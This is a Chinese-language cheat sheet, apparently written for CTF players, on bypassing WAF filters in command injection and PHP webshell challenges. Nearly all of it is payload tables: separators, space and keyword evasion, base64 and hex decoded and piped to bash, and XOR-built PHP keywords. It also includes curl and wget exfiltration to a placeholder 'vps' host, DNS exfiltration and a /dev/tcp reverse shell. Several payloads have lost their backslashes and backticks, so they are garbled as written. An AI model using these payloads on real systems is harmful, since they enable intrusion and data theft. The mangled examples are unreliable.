CTF RCE / WebShell WAF 绕过完全宝典
1. 命令分隔符 (多命令执行)
在一行内执行多条命令,或分隔被过滤的命令。
| 技巧 | Payload 示例 | 说明 |
|---|---|---|
| 分号 | cmd1;cmd2 |
最基础,按顺序执行。 |
| 管道符 | cmd1|cmd2 |
将 cmd1 输出作为 cmd2 输入。 |
| 逻辑或 | cmd1||cmd2 |
cmd1 失败时执行 cmd2。 |
| 逻辑与 | cmd1&&cmd2 |
cmd1 成功时执行 cmd2。 |
| 后台运行 | cmd1&cmd2 |
让 cmd1 后台运行,紧接执行 cmd2。 |
| 换行符 (URL) | cmd1%0acmd2 |
HTTP 请求中 %0a 代表换行 n,极强绕过。 |
| 回车符 (URL) | cmd1%0dcmd2 |
%0d 代表回车 r。 |
| 命令替换 | $(cmd) |
先执行括号内命令,将结果替换。 |
| 反引号 | cmd |
同命令替换。 |
2. 空格绕过 (Space Bypass)
当 WAF 过滤空格 时。
| 技巧 | Payload 示例 | 说明 |
|---|---|---|
| IFS (推荐) | cat${IFS}flag |
Linux 内部字段分隔符 (空格/Tab/换行)。 |
| IFS 防粘连 | cat$IFS$9flag |
$9 为空变量,防止解析混淆。 |
| 重定向 (输入) | cat<flag |
利用 < 读取文件,无需空格。 |
| 重定向 (其它) | cat<>flag |
读写模式打开,效果同上。 |
| 大括号扩展 | {cat,flag} |
Bash 特性,逗号视为分隔。 |
| Tab 键 | cat%09flag |
URL 编码 %09 为 Tab,Shell 视为空格。 |
| 变量截取 | X=$' t';cat${X:0:1}flag |
利用 $'' 构造含空格变量并截取。 |
3. 关键词黑名单绕过 (Keyword Bypass)
当 cat, flag, ls, system 等被正则过滤时。
3.1 字符串拼接/分割
| 技巧 | Payload 示例 | 说明 |
|---|---|---|
| 反斜杠 (最强) | cat flag |
转义后字符不变,绕过正则。 |
| 反斜杠 (变体) | ls |
等同于 ls。 |
| 单引号 | c'a't fl'a'g |
Shell 自动拼接。 |
| 双引号 | c"a"t |
Shell 自动拼接。 |
| 空变量拼接 | c$@at |
$@, $*, ${x} 为空,不影响命令。 |
| 变量赋值 | a=c;b=at;$a$b |
先赋值再组合。 |
3.2 通配符 (Wildcards)
| 技巧 | Payload 示例 | 说明 |
|---|---|---|
| 单字符匹配 | c?t f??g |
? 匹配任意单个字符。 |
| 多字符匹配 | c* f* |
* 匹配任意长度字符。 |
| 路径匹配 | /bin/c?? flag |
匹配 /bin/cat。 |
| 字符集 | c[a]t f[l]ag |
[] 匹配括号内任一字符。 |
| 范围匹配 | c[a-z]t |
匹配 a-z 之间。 |
| 非字母范围 | [@-[] |
包含大写字母的 ASCII 范围。 |
4. 敏感字符与路径绕过
当 / (斜杠) 或 . (点) 被过滤时。
| 技巧 | Payload 示例 | 说明 |
|---|---|---|
| 环境变量 (斜杠) | ${PATH:0:1} |
$PATH 首字符通常是 /。 |
| Printf (八进制) | $(printf " 57") |
生成 /。 |
| Printf (十六进制) | $(printf "x2f") |
生成 /。 |
| Shell 十六进制 | echo $'cx61t' |
Bash 支持 $'xHH' 格式。 |
| IP 地址转数字 | ping 2130706433 |
绕过点分十进制 IP (127.0.0.1)。 |
5. 命令替代 (Alternative Tools)
当 cat 被彻底封杀,使用替补命令读取文件。
| 命令 | Payload 示例 | 核心特点 |
|---|---|---|
| tac | tac flag |
首选,反向输出内容。 |
| more/less | more flag |
分页显示。 |
| head/tail | tail flag |
显示尾部内容。 |
| nl | nl flag |
显示内容并带行号。 |
| sort | sort flag |
对内容排序后输出。 |
| rev | rev flag |
左右反转内容 (自己转回来即可)。 |
| uniq | uniq -c flag |
去重统计输出。 |
| od | od -c flag |
八进制输出 (需还原)。 |
| xxd | xxd flag |
十六进制输出。 |
| paste | paste flag |
合并文件输出。 |
| grep | grep . flag |
匹配所有内容并打印。 |
| sed | sed p flag |
流编辑器打印。 |
| awk | awk '{print}' flag |
文本处理打印。 |
| m4 | m4 flag |
宏处理读取。 |
| dd | dd if=flag |
块读取。 |
| base64 | base64 flag |
转码输出 (防内容检测)。 |
6. 编码与高级混淆 (Encoding)
将命令编码,在执行端解码,绕过所有明文检测。
| 技巧 | Payload 示例 | 说明 |
|---|---|---|
| Base64 (管道) | echo Y2F0IC9mbGFn|base64 -d|bash |
解码 cat /flag 并执行。 |
| Base64 (反引号) | echo Y2F0IC9mbGFn|base64 -d |
同上,嵌入式执行。 |
| Hex (xxd) | echo 636174202f666c6167|xxd -r -p|bash |
十六进制还原执行。 |
| Printf 构造 | $(printf "154163") |
八进制构造 ls。 |
| Printf 构造 II | $(printf "x63x61x74x20x66x6cx61x67") |
十六进制构造 cat flag。 |
7. 无回显与数据外带 (Blind RCE)
命令执行成功但无回显时。
| 技巧 | Payload 示例 | 说明 |
|---|---|---|
| 延时检测 | sleep 5 |
若响应卡顿 5 秒,说明 RCE 成功。 |
| HTTP 外带 | curl http://vps/$(cat flag) |
将 flag 拼接到 URL 发送。 |
| Wget 外带 | wget --post-data=$(cat flag) http://vps/ |
POST 方式发送。 |
| DNSLog | pingcat flag.dnslog.cn |
将 flag 作为子域名解析。 |
| 写文件 (Web) | cat flag > /var/www/html/1.txt |
写入 Web 目录直接访问。 |
| 反弹 Shell | bash -i >& /dev/tcp/IP/PORT 0>&1 |
连接远程服务器。 |
8. PHP 特定绕过 (WebShell 层)
在 PHP 代码层面过滤字母数字时的技巧。
| 技巧 | 示例原理 |
|---|---|
| 异或 (XOR) | '!'^'@' 得到 'a'。遍历符号拼接出 assert。 |
| 取反 (NOT) | ~ 对汉字或不可见字符取反得到关键词。 |
| 自增 (Increment) | $a='a';$a++; 变为 'b'。 |
| 通配符执行 | /???/??? /??? 在 PHP shell_exec 中可匹配 /bin/cat /flag。 |
9. 长度限制绕过 (Length Limit)
限制输入字符极短 (如 <7)。
原理:利用 ls -t (按时间排序) 和 > (写入文件名) 拼接脚本。
>sl(创建名为 sl 的文件)>p>ols -t > x(将文件名按时间写入 x)sh x(执行 x 中的内容)
10. 终极组合拳 (针对你题目的 WAF)
针对过滤:| & ; / cat flag tac php ls
Payload 1: 八进制 Printf + IFS (最稳)
Bash
# 相当于 cat /flag
$(printf${IFS}"143141164 40 57146154141167")
Payload 2: 排序读取 + 环境变量 (利用工具特性)
Bash
# 相当于 sort /flag
sort${IFS}$(printf${IFS}" 57")flag
Payload 3: 100% 纯符号/变量构造 (炫技)
Bash
# 假设 /bin/bash 存在
# ${SHELL:0:1} = /
# cat 绕过正则
cat${IFS}${SHELL:0:1}flag

Comments NOTHING